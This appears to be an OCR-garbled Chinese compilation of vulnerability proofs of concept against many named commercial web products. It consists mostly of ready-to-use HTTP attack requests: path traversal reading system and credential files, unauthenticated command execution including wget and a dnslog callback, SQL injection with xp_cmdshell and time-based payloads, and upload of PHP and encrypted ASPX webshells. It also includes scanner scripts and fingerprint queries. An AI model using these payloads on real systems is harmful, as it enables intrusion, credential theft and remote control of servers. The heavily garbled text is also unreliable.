cat=../../../.. /.. /.. S S S ... ]..]../usr/local/nsfocus/web/apache2/www/local_use
r.php&method=1login&user_account=admin HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

Accept-Encoding: gzip, deflate

(e}

Connection: close

N o o1 N

oast R Q==

Raw  Hex B n = Pretty  Raw B vw =
BGET /api/virtual /home/statusToat HTTP/1.1 200 OK
isr/ local /nsfocusiy ] = local _u Date: Thu, 10 Aug 2023 13:35:22 GMT
ser nhnf-ﬂ\ethod—lﬂr_-ndussr account=admin HTTP/1.1 Server: NSFOCUS
Host . = ey 4 X-Frame-Options: SAMEORIGIN
Cookie: PHPSESS|D=B0aB41d164437b908955ebaT8896d360 5 Expires: 0
Sec-Ch-Ua: "Chromium™:v="107", “Net=A?Brand" v="24 & Cache-Control: no-cache
Sec-Ch-Ua-Mobile: 70 Pragma: No-cache
Sec-Ch-Ua-Platfarm: “Windows™ Connection: close
7 Upgrade—Insecure—Requests: 1 % Content-Type: application/json
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4. x64) AppleWebKit/537. 36 (KHTML 10 Content-Length: 14
like Gecko) Chrome/107.0.5304. 63 Safari/537.36
hocept (
text/html, application/xhtm|+xml, application/xml .q=0.9, image /avif. image /webp, image/a “status”:200
png. */*:9=0. 8, appl ication/signed-exchange:v=b3:q=0. 9 1

Sec—Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh:q=0.9
Connection: close

My 'I ‘I‘

T

v MmAR



43598 SASIEZ2 Y] GetFile £E X #4i%EUERE POC
00

GET /api/virtual/home/status?

cat=../../.. /.. /.. .S S S .. ]..]../usr/local/nsfocus/web/apache2/www/local_use
r.php&method=api/user/loginlogin&user_account=admin HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Connection: close

4328 SASEE2 1 Exec I s $H1TIRM POC
X X |

GET /webconf/Exec/index?cmd=wget%20xxx.xxx.xxx HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Connection: close

WIETEETF X4 ExecController.php X4

%o Riflsec



af://n106
af://n108

<?php

1
2 require_once 'Nsc/Websvc/Response.php';
3 class ExecController extends Cavy_Controller_Action {
4
5 var $models = 'no';
6
7 public function index() {
8 $command = $this->_params['cmd'];
9 $ret = 0;
10 $output = array(Q);
1 exec($command, $output, $ret);
12 $result = new StdClass;
14 $result->code = Nsc_Websvc_Response: :EXEC_ERROR;
15 $result->text = "exec error";
16 }
17 else {
18 $result->code = Nsc_Websvc_Response: :SUCCESS;
19 // $result->text = implode("\n", $output);
20 $result->text = "WEBSVC OK";
21 b
22 $this->_render(array('result'=>$result), '/websvc/result');
23 ¥
24 1
25 | >
ISIEPOC
o000

1 /webconf/Exec/index?cmd=wget%20XXX . XXX . XXX

Request > mwsos [EED) CEIED Responses hitps  118oyies /37 B e
1 GET /webcont/Exec/index?end=id HTTP/1.1 1 HITP/1.1 280 OK LR L

Date: Mon, 93 Jul 2823 @4:25:28 GMT

Servers NSFOCUS -

Set-Cookie: TT7e6C; paths/; secure; nilpdily

Hest: -
=
4 f
5  Expires: Thu, 19 Nov 1981 08:52:00 GMT
B
T
B

2
3 Accept: w/s
4 Content-Type: application/x-wew-form-urlencoded

Cache-Control: mo-store, no-cache, must-revalidate, post-check=d, pre-check=9
Fragma: no-cache
Content-Type: text/snl; charset=utf-§

9  Content-length: 118

11 <taml version="1.0"7>

12w <websves

13 v <result>

1 <codes208</codes

15 <text=<! [CDATA IWEBSVC OK]]=</text=
5 </result>

17 <fwebsvcs

N :;J%F e
. ;I',tﬂ .f.|, S2C



Get SubDomain | | Refresh Record

bxbeeb.dnslog.cn
DNS Query Record IP Address Created Time
bxboeb.dnslog.cn 2023-07-03 13:27:51
bxbeeb.dnslog.cn r 2023-07-0313:27:44
bxboeb.dnslog.cn 2023-07-03 13:27:44
bxboeb.dnslog.cn 2023-07-03 13:27:44
™ ¥ Yakit- #1882
B Ef BEsE aER B AN a

D m WM HTTPS @ EETLS "% F RMEEE

Request > mmens [0 X5 Responses hitps  110bytes [ 441ms
1 GET /webconf/Exec/index?cadmwyeti2ebxbeeb. dnslog. cn HTTP/1.1 T 1 HTTP/1.1 200 OK
2 Host. 2 Date: Mon, 83 Jul 2023 84:26:52 GNT

3 Accept: »/« Server: NSFOCUS

4 Content-Type: application/x-www-form-urlencoded

3

4 Set-Cookie: bletib? 15¢b7; pathe/; s

5 Expires: Thu, 19 Nov 1981 08:52:00 GNT

6 Cache-Control: no-store, no-cache, must-revalidate, post-check=9,
Pragma: no-cache

L ] Content-Type: text/xml; charset=utf-§

9  Content-Length: 119

11 <txml version="1.0"7>
12~ awebsve>

13 v <result>
14 <code>1Bd</code>
15 <text=<![CDATA[exec error] |=</text=
16 </results L) - L=
e = T
17 </websve> P ;I'J‘ _!'-)]J{| - ’_.' &
4 SL=i

#F10A C6-GetSqlData.aspx SQL:E \ifEiE POC
00

1 POST /C6/Control/GetSqlData.aspx/.ashx

Host: ip:port

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/35.0.2117.157 Safari/537.36

Connection: close

Content-Length: 189

Content-Type: text/plain

Accept-Encoding: gzip

[CNI\S]

exec master..xp_cmdshell 'ipconfig'

O 00 N o0 O N


af://n123

</item>
</record>
<record=
<item ColumnName='output'=
<! [CDATA[ IPv4 Hbit .
192.168.200.77]1>
</item=
</record>
<record>
<item ColumnName='output's
<! [CDATAI RS . . ae
255.255.255.0]1]>
</item>
</record>
<record>
<item ColumnName="'output"'>]
<! [CDATAI FRIARI X .
192.168.200.254] 1>
</item>

AR BB E RS uploadApk.do EE X4 E{ERH


af://n127

oO

P REER

00
1 POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1 Host:
2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6z1X09Z8Lz0 3
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/114.0.0.0 Safari/537.36
4, Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, im
age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDAGA25A091.server Connection: close
6
7 |==—==- WebKitFormBoundaryvLTG6z1X09Z8Lz03
3 Content-Disposition:form-data;name="downloadpath"; filename="a.jsp" Content-Type:
application/msword
9 hello
10 ~—~--- WebKitFormBoundaryvLTG6z1X09Z8Lz03--
11
12
1L
14
15 POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
14 Host:
17 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6z1X0gZ8Lz03
1g User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/107.0.5304.63 Safari/537.36



19 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*

/*;q=0.8,application/signed-exchange;v=b3;q=0.7
20 Cookie: JSESSIONID=101AC13BD5545730F1108BC43FA685D8
21 Connection: close
29 Content-Length: 215

23
94 | TTTT- WebKitFormBoundaryvLTG6z1X09gZ8Lz03

25 Content-Disposition: form-data; name="downloadpath"; filename="123123.jsp"

26 Content-Type: application/msword

27

28 1231231212312

29 | ~—==== WebKitFormBoundaryvLTG6z1X09Z8Lz03--
30

31

R B-BFXHETES-EEXHLE
AR

IRy

. /CDGServer3/UploadFileFromClientServiceForClient
2. /CDGServer3/UsersService

HE-OA-i&SALFEAN
TR
® 00

1 /third/wechat/wechatLoginHelper.do

1 POST /third/wechat/wechatLoginHelper. do HTTR/1.1
Host: i M _ e my

n

w

User—Agent: Mozilla/5 0 (Windows NT 10,0: Wind4; x64) AppleWebKit /537 36 (KHTML, 507
like Gecko) Chrome/107.0. 5304 63 Safari/537.36

Content-Type: application/x—www-form-urlencoded

Aocept: */¥ 503
Accept=-Encoding: gzip, deflate

7 Acecept-Language: zh-CN, zh:q=0. %

Cookie: JSESSIONID=D734FAQSD12523A9DEBSCCBAEDZOT 348
Connection: close

Content-Length: 92

o b

o

.o o m

12 method=edi t&open i e 5 By g e =
"and+updatexml {1, -

org. apache. coyote. AbstractProtoco|$AbstractConne
ctionHand ler. process (AbstractProtocol. java:654)

org. apache. tomcat. uti|. net. AprEndpoint$SocketPro
cessor. doRun (AprEndpoint. java:2532)

org. apache. tomeat. uti |. net. AprEndpoint$SocketPro
cessor. run (AprEndpoint. java:2521)

java. util.concurrent. ThreadPoo|Executor. runforke
r (ThreadPoo | Executor. java:1145)

java.util concurrent. ThreadPoolExecutor§Worker. r
un{ThreadPoo |Executor. java:415)

org. apache. tomcat, uti|. threads. TaskThread§Wrappi

ngRunn o e_run{TostThread, joun 610
java. ls _{"° ey ihtedd|j :
Caused by'yava. sal. SOLExcen fzn.'

error: ' root@ B e egege o g


af://n131
af://n134

BRAXAREMXA SsqliEAN
o000

POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1

Host: **xxx

Connection: close

Cache-Control: max-age=0

sec-ch-va: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.96 Safari/537.36

9 Accept:

0 J O O N N N -

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng, /
;0=0.8,application/signed-exchange;v=b3;q=0.9
19 Sec-Fetch-Site: none
11 Sec-Fetch-Mode: navigate
1o Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Accept-Language: zh-CN,zh;q=0.9
15 Cookie: *xx%
16 Content-Type: application/x-www-form-urlencoded
17 Content-Length: 39
18 checkname=123&tagid=123

BEMiserverRFHL G SHITR

i

e i

M1BEHEIRHNEEE. BRESAL. KBPEMEDFEFNLSARUKRBEMNETIEMITENHEN
H. ZNAFEFERFIINFE, REEWNSETRETUHTERRTRIRSSENR

POC#EH4h 7t

BRER-4A 5i—REEE TS getMater 5 8ittiF

i
BHERFAIAZ—ZTLEEFEXRITRREEFER AR WRHEFHKS. AL BN FHEBRAZE
REERERARSKL UM T EEES], TREEXARBREER.


af://n139
af://n142
af://n148

https://xxxxxxx/accountApi/getMaster.do

1
9 poc:
3 relative: req0
4 session: false
5 requests:
6 - method: GET
7 timeout: 10
8 path: /accountApi/getMaster.do
9 headers:
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
1 like Gecko) Chrome/65.0.881.36 Safari/537.36
12 follow_redirects: true
13 matches: (code.eq("200") && body.contains("\"state\":true"))
14
BEEEWN:
PR 3 1417 18]

PirEsiHl WEB ERZ 4t EXCU_SHELL S2 it 5%
R PRI WEB BIE R4 EXCU_SHELL {5 Bt BRI
ELIEER: body="img/free_login_ge.gif" && body="./img/login_bg.gif"

#ERFE T E: https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%
E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E

7%BB%9FEXCU_SHELL
00

GET /EXCU_SHELL HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/61.0.2852.74 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: /

Connection: close

W N

Cmdnum: '1°'
Commandl: show running-config

O 00 N9 O O N

Confirml: n


af://n153
https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL

--FIR A0 ERRARFEXFIREET
R

MERAIOR W — AW EEMRR SR, BEERP (#HEMSS) . OA (BB . CRM (EFXAEHE) . UDP
(BEXTFSE) , EBFHSTE. Xt FE. ERPFE. HIETE. BEIAPPERRAT RS EIVEFEEERTRR
hEE). ZIEE. FREZLFEARMMEXDEE, BR A0 EBEARFEEXMHIREUFR, XiE T LORIEX
Xfo

00
1 POST /utilservlet
5 HTTP/.
3 Host:
4, User-Agent: Mozilla/.(Windows NT .; Win; x) AppleWebKit/.(KHTML
5 Content-Length:
s Accept: text/html,application/xhtml+xml,application/xml;q=.,image/avif, image/
7 Accept-Encoding: gzip, deflate
g Accept-Language: zh-CN,zh;qg=.
9 Cache-Control: no-cache
19 Connection: close
11 Content-Type: application/x-www-form-urlencoded
12 Pragma: no-cache
13 Upgrade-Insecure-Requests:
14
15 operation=readErrorExcel&fileName=C:\windows/win.ini

-- X EE FE W SMETFE S magePath &4 iREER
RS

FEDRMMEFERERIUNAFL. 517, EE. #IPFNEEEETE, YEREE FE WSIMEFEEEXHIREUR

P&
“flyrise.stopBackspace.js”
REEW

EhETTE


af://n159
af://n165

FEWSIHERE |/ oneon

2] 1% 1) F— Z A 428

5
u- SARBESE I
i ASARRER

= MZ=HP.
LN

1 /serviet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print

Requast > musas [[EL) EEEDD :©  fesponses  costyies | 4sms B e @0
1 GET fserviet/ShowlmageServiet PisagePath=, . jweby/ fo,war/WEB-INF /closses/ jdbc. propertiesh 1 HTTR/L.1 208 0K . — ]
print HTTP/1.1 2 Server: Apache-Coyotefl.l M socksd 137801108
I Content-Type: BppLCHE SN/ x-ww-orm-irLencoded _ 3 Set-Cookie: :mlmmmmmmmuﬁﬂi"'iﬁf‘«“““"‘
31 Hostr Hitpanly :""L-"‘ s
4 Content-Type: image/=
4 Dater Sat, 12 Aug 2023 11:83:49 GNT
& Content-Length: G669
T
] sq1
9 mssgl. jdbg,driverscom microsoft. sglserver, jdbe, SOLServerDriver
1@ mesgl.jdbc.url=jdbcrsqlserver:/ /127,000, 111521 1orc 1 jdstabase=PE_BASES;

SolactMathad=cursor

11 masgl. jdbe, user=FE_BASES

12 mssgl. jdbe. password=passWORD11E

13 # wcl &

14 oracle. jdbc.driver=oracle. jdbc.driver.Oraciebriver

15 oracie. jdec.urb=jdbcoracle: thin:@127.8.8.1:1520:0rcl

16 oracle, jdbe.user=FE_BASES

17 oracle. jdbe. passwordspas sWORD118

w it ab: POLILCE Te_basel
=

1% fe,db=FE_BASES

@ fe.dbl=FE_APPS

21 fe.de2sFE_ERP feiei] i -
27 eedit detatase ipiodbc: ds —-—f,.rbi '_r r—,ﬁl B/I'*
271 4p=127.8.8.111821

fom

FRGRP-US#FTZ {2 iltEE
WA : RUSRAHTERHFIgES, HBRBES

#t £ 918 I & https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E7%94%A8%E

5%8F%8BGRP-U8

i=F2


af://n179
https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E7%94%A8%E5%8F%8BGRP-U8

1

body="U8Accid" || title="GRP-U8" || body="HAEKMLEZEEFABELT"
o0
GET /logs/info.log HTTP/1.1
o0
1 #coding:utf-8
5 #python3 GRP-U8_loginfo.py -u http://127.0.0.1:1111 S urlihid
5
4 #python3 GRP-U8_loginfo.py -f url.txt =
5
p HEESRIBRERFEREVULN. txtX
7 import requests
8 import sys
9 import urllib3
19 from argparse import ArgumentParser
11 import threadpool
12 from urllib import parse
13 from time import time
14
15
14 #body="U8Accid" || title="GRP-U8" || body="FKRMEEEHABRAT"
17
18 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
19 url_list=[]
20
91  HBEHlua
9o def get_va():
23 first_num = random.randint(55, 62)
24 third_num = random.randint(0, 3200)
25 fourth_num = random.randint(0, 140)
26 os_type = [
27 "(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOWé4)',
28 '(Macintosh; Intel Mac 0S X 10_12_6)'
29 ]
30 chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
31
32 va = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36"',
33 ' (KHTML, 1like Gecko)', chrome_version, 'Safari/537.36']
34 )
35 return ua
36
37 HERENUr B A4
3g def wirte_targets(vurl, filename):

with open(filename, "a+") as f:

w
O



f.write(vurl + "\n")

def check_url(url):
url=parse.urlparse(url)
url=url.scheme + '://' + url.netloc
url=url + '/logs/info.log'
# print(url)

try:
res = requests.get(url, verify=False, allow_redirects=True, timeout=100)
if res.status_code == 200:
lines = res.text.split('\n')[:100]
truncated_response = '\n'.join(lines)

if "INFO" in truncated_response:
print("\033[32m[+]{} is vulnerable. \033[0m".format(url))
wirte_targets(url, "vuln.txt")
else:
print("\033[31m[-]1{} is no vulnerable.
{}\033[om".format(url, res.status_code))
except Exception as e:

57
58
58
60
61

print("[!]1{} is timeout {}\033[0Om".format(url,e))

def multithreading(url_1list, pools=5):

works = []

for i in url_list:
# works.append((func_params, None))
works.append(i)

# print(works)

pool = threadpool.ThreadPool(pools)

reqs = threadpool.makeRequests(check_url, works)

[pool.putRequest(req) for req in regs]

pool.wait()

71
72
73
74
73
76
77
78
79
80
81
82
83
84
85

if __name__ '__main__':

show = r'""'
FA/&GRP-U8 info.log

info.log scan By when
print(show + '\n"')
arg=ArgumentParser(description="'check_url By when')

arg.add_argument("-u",

help="Target URL; Example:python3 GRP-U8_loginfo.py -u

http://ip:port")
arg.add_argument("-f",
"__file",
help="Target URL; Example:python3 GRP-U8_loginfo.py -f
url.txt")
args=arg.parse_args()
url=args.url
filename=args.file
print(" [+1{E5FHEA. .. .. ")
start=time()



93 if url != None and filename == None:

95 check_urtl(url)

96 elif url == None and filename != None:
97 for i in open(filename):

98 i=i.replace('\n','")

99 url_list.append(i)

100 multithreading(url_list,10)

101 end=time()

102 print (' {E55EH, FAif%ds. ' %(end-start))

nginxft B {51X S AV R X P

A BZEPoCIIT: https://github.com/hakaioffsec/navgix %®EIE0day, B—MREAFHMIFE, TUEEE
Bnginx G 8RS8 . BERESESHMELEDFE, BURRHTEE,

£THR OA zyy AttFile.asmx SQLENEA*

00
1 POST /ioffice/prg/interface/zyy_AttFile.asmx HTTP/1.1
2 Host: 10.250.250.5
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
4, like Gecko) Version/12.6.3 Safari/6085.1.15
5 Content-Length: 383
6 Content-Type: text/xml; charset=utf-8
7  Soapaction: "http://tempuri.org/GetFileAtt"
3 Accept-Encoding: gzip, deflate
9 Connection: close
10 <?xml version="1.0" encoding="utf-8"?><soap:Envelope
11 xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
12 xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
13 xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetFileAtt
14 xmlns="http://tempuri.org/"><fileName>123</fileName></GetFileAtt> </soap:Body></so

ap:Envelope>

=
ol


af://n188
https://github.com/hakaioffsec/navgix
af://n192

Coremail BB {§ Z K RIZPGH R IRINE IR 53

00

1 POC:

5 /coremail/common/assets/:/:/:/:/:/:/s?

3 biz=Mz13MTK4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa7262

4 6688chksm=eb3834e5dc4afhdf3a9529734de7e6958elb7efabecdlclb340c53¢c80299FF5c688b
r Téadaedél&scene=2

Milesight VPN server.js £ 5 X {#i£EGRE T

00

1 POC:

5 GET /../etc/passwd HTTP/1.1

z Host:

4 Accept: /

5 Content-Type: application/x-www-form-urlencoded

PigCMS action_flashUpload £ &3 % % iE T

00
1 POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload
5 HTTP/1.1
3 Host:
4 Accept-Encoding: gzip, deflate
5 Content-Type: multipart/form-data; boundary=----aaa
6 |————- aaa
7 Content-Disposition: form-data; name="filePath"; filename="test.php"
g Content-Type: video/x-flv
9 <?php phpinfo();?>
19 "0 aaa

11

/cms/upload/images/2023/08/11/1691722887xXbx.php


af://n196
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238 NF T—RBAE EEXMHF LITRT
o000

POST /api/vl/device/bugsInfo HTTP/1.1

Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245F0ef
Host:

--4803b59d015026999b45993b1245f0ef

Content-Disposition: form-data; name="file"; filename="compose.php"
<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

POST /mail/include/header_main.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71

Host:

cmd=phpinfo();

O 00O N9 O O N VN P

[ S
N R ©

8 WEEMET S getsysteminfo KIZNFH0)RETE
00

POC:

/admin/weichatcfg/getsysteminfo

mEfEr: tREEBERHFRABRATNESZEBEMNEEEFS getsysteminfo FEKRESUAEIRR
mARE FNEERAKSEREHREE, SEEERUEERSNFENRRGNEMSERERIRE
(E3=VahrH

BACRMLEEEMAE, EHREEMEIIRA

http://goldlib.com.cn/

N O Ol N NN

Panel loadfile & & X {FiZ£BUREHE

1 POST /api/vl/file/loadfile
2 {"panht":"/etc/passwd"}


af://n206
af://n209
af://n212

Linux fRS52FZEERE MR

o =i
= 4

I - ANEHERE TS

»

=HEZ2EIPA

=HEZ2EPA




it = B % CommonFileserver £ & X {#4i%EUE T
o000

1 GET /CommonFileServer/c:/windows/win.ini

i B s 2 2 Hltokens SQL

POST /baoleiji/api/tokens HTTP/1.1

N

constr=1' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm' =
"AAdm' &title=%40127.0.0.1

TR E 2 HSQLIEN

1 EBE2BTEEEEALE ZIN BiEREEE, PnEBELIFESILIN, THBZRRRERASRS
e
cert="Baolei"||title="fHEsEZ41" | |body="admin.php?
controller=admin_index&action=get_user_login_fristauth"||body="admin.php?
controller=admin_index&action=1login"

4 boc:
5 relative: reg0 && reql
6 session: false
7 requests:
8 - method: POST
9 timeout: 10
10 path: /admin.php?controller=admin_commonuser
11 headers:
12 Content-Type: application/x-www-form-urlencoded
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
14 like Gecko) Chrome/69.0.2786.81 Safari/537.36
15 data: username=admin' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm'='AAdm
16 follow_redirects: true
17 matches: (code.eq("200") && time.gt("5") && time.l1t("10"))
18 - method: POST
19 timeout: 10
20 path: /admin.php?controller=admin_commonuser
21 headers:
29 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
23 like Gecko) Chrome/69.0.2786.81 Safari/537.36
24 Content-Type: application/x-www-form-urlencoded
25 data: username=admin

follow_redirects: true


af://n218
af://n220
af://n223

23
28
29
30
31

32
555
34
55
36
37
38
39
40
41
42

43
44
45
46
47
48
49
50
51
52

58
54
55
56

matches: time.lt("5")

HEREM:

cert="Baolei" @ title="HHEHEZH" 8¢ body="admin.php?
controller=admin_index&action=get_user_login_fristauth" & body="admin.php?
controller=admin_index&action=1login"

POC:

relative: reqd && reql

session: false

E—NEK:

Jik: POST

#Bet: 108

B&4%: /admin.php?controller=admin_commonuser

BERER:

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.2786.81 Safari/537.36

EREGE: username=admin' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm'='AAdm
IRMEEEM: true

ILECERMF: NARZAS /9200 BRI AT AR F570 B/NF1070

BIMEK:

Fik: POST

#Bnt: 108

#8712 /admin.php?controller=admin_commonuser

TERELER:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.2786.81 Safari/537.36

Content-Type: application/x-www-form-urlencoded

BEREUE: username=admin

IRMEEEM: true

DLECsRf4: NaRzAd B NF5FD

OfficeWeb365 iz XIBH1TiRTE

[CEEEE] : 360 E=SMEIME (OfficeWeb365 It BHITRMA) BEHE, £REsER%, Wil [E
2] ®/A, RAxW [Ri) R4, ZREREIRENKPOCER LERERIBIRTFE, FE&4%S: 360LDYLD-2023-

00002453, BEIRITFABF I&EFRKREEIERTF A (https://loudongyun.360.cn/bug/list )& &R HIE1E.

360im A= EMEIMfE (OfficeWeb365ZERBAITRE) BUHS, ERATER, Wik [(EX] FRE, KA¥

g [RF] ARAE, ZFERENPOCEEARREEBIRTS, FE%S: 360LDYLD-2023-00002453

POST /PW/SaveDraw?path=../../Content/img&idx=1.aspx HTTP/1.1

FEA: xxx

FAFIE: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) ApplellebKit/537.36 (KHTML, 0
Gecko) Chrome/88.0.434.18 Safari/537.36

RABKE: 2265

AR application/x-www-form-urlencoded


af://n225
https://loudongyun.360.cn/bug/list
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17
18
19
20
21
22
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25
26
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29
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55
34

55
36

37
38

39
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RS gzip, deflate
TR X
#4E: image/png; basesb4, 01s34567890123456789y12345678901234567m91<%@ WEIES="CH" %>
<%@Import @pRE=TA="System.Reflection" %>
<HIAIE T="IRS5=E">
MEFHIEE (FH115E)

FRFERE="e45e329Feh5d925bh" ;

#UE = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));

System.Security.Cryptography.RijndaelManaged aes = new
System.Security.Cryptography.RijndaelManaged();

aes.Mode = System.Security.Cryptography.CipherMode.ECB;

aes.Key = Encoding.UTF8.GetBytes(key);

aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;

return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);

}
FEFBIE (F15[1808)
{

FFEREE="e45e329feb5d925h";

System.Security.Cryptography.RijndaelManaged aes = new
System.Security.Cryptography.RijndaelManaged();

aes.Mode = System.Security.Cryptography.CipherMode.ECB;

aes.Key = Encoding.UTF8.GetBytes(key);

aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;

IRE]
System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().Transfor
mFinalBlock(data, @, data.Length)));

}
</ A >
<%
//bytel]
c=Request.BinaryRead(Request.ContentLength) ;Assembly.Load(Decrypt(c)).CreateInstance("U"
) .Equals(this);
byte[] c=Request.BinaryRead(Request.ContentLength);
string asname=System.Text.Encoding.ASCII.GetString(new bytel[]
{0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6¢C,0x65,0x63,0x74,0x69,0x6T,
Oxée, 0x2e, 0x41, 0x73,0x73, 0x65, 0xbd, 0x62, 0x6C, OX79}) ;
KAERFE=Type.GetType (asname);
MethodInfo load = assembly.GetMethod("Load",new Type[] {new
byte[0].GetType(O});
95 obj=load.Invoke(null, new object[]{Decrypt(c)});
MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] {
"".GetType()});
FFBRZFR = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
object pay=create.Invoke(obj,new object[] { name });
pay.Equals(this);%>>---



--PigCMS action_flashUpload & 3 {4 L &K
00

POC:

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload
HTTP/1.1

Host:

Accept-Encoding: gzip, deflate

o O N N N -

Content-Type: multipart/form-data; boundary=----aaa

~

I

I

I

I

|

|
Q
Q
Q

Content-Disposition: form-data; name="filePath"; filename="test.php"

(o0}

9 Content-Type: video/x-flv
10 <?php phpinfo();?>
11 -0 aaa
12 /cms/upload/images/2023/08/11/1691722887xXbx.php

R ACM EM{1THEIR R %bottomframe.cgi SQL ENERE
(N N

1 /bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23


af://n231
af://n239

P LRITAERRG

R W%

L ]
L

847 & B\

Request ok EECIEEE « Bl @ response res amaes amszr [EIEEE EIE @
— [

GET //bottonfrane, cgi heser_nmme=yiT]1%2iunionsd dselec tsdindS 1000 E:_ L) bt

1 HTTR/L.1 ] widik: 4@ F_.
2 Hoats = height: 1e8%; o
3 Accepts e 21 i B—
4 Recept-ncoding: geip, deflave, br s wargin: 8
S Recept-bangusge: Ih-EN,zhig=d.d,en-USio=h.B,eniq=0.7, 2h-Thia=d.6 & pakding-right: spx: E-__
6 Smc-Fetch-Oust: empty B4 Teat-fanily: Verdana, Arlal, Helvetbca, Sans-Serif}
T Sec-Fetch-Mode: cors = o ] E
®  Sec-Fetch-Site: cross-site b Toat-usight: narmal;
9 User-Agent: Mozilla/S.® (Mscintosh; Intel Mac 05 X 10_15_7) b tolar: STRITIN; E -----
ApplewebKit /517,36 (KHTML, like Geckol Chrome/185.8.0.8 Safarissi7,08 o text-aliga: right; %‘:
18 £ ewwrilou: hidden;
1 LU Lime-baights 18px i g
LT =
02 aistyles =
93 =sOript type="rextfjavascript” sro="/scriplsfweboommon, j§Tm</soripts
B4 =goript typee"teetfjavascript” sre="/eeripis/ajaautile. - soripts
LR S
B by
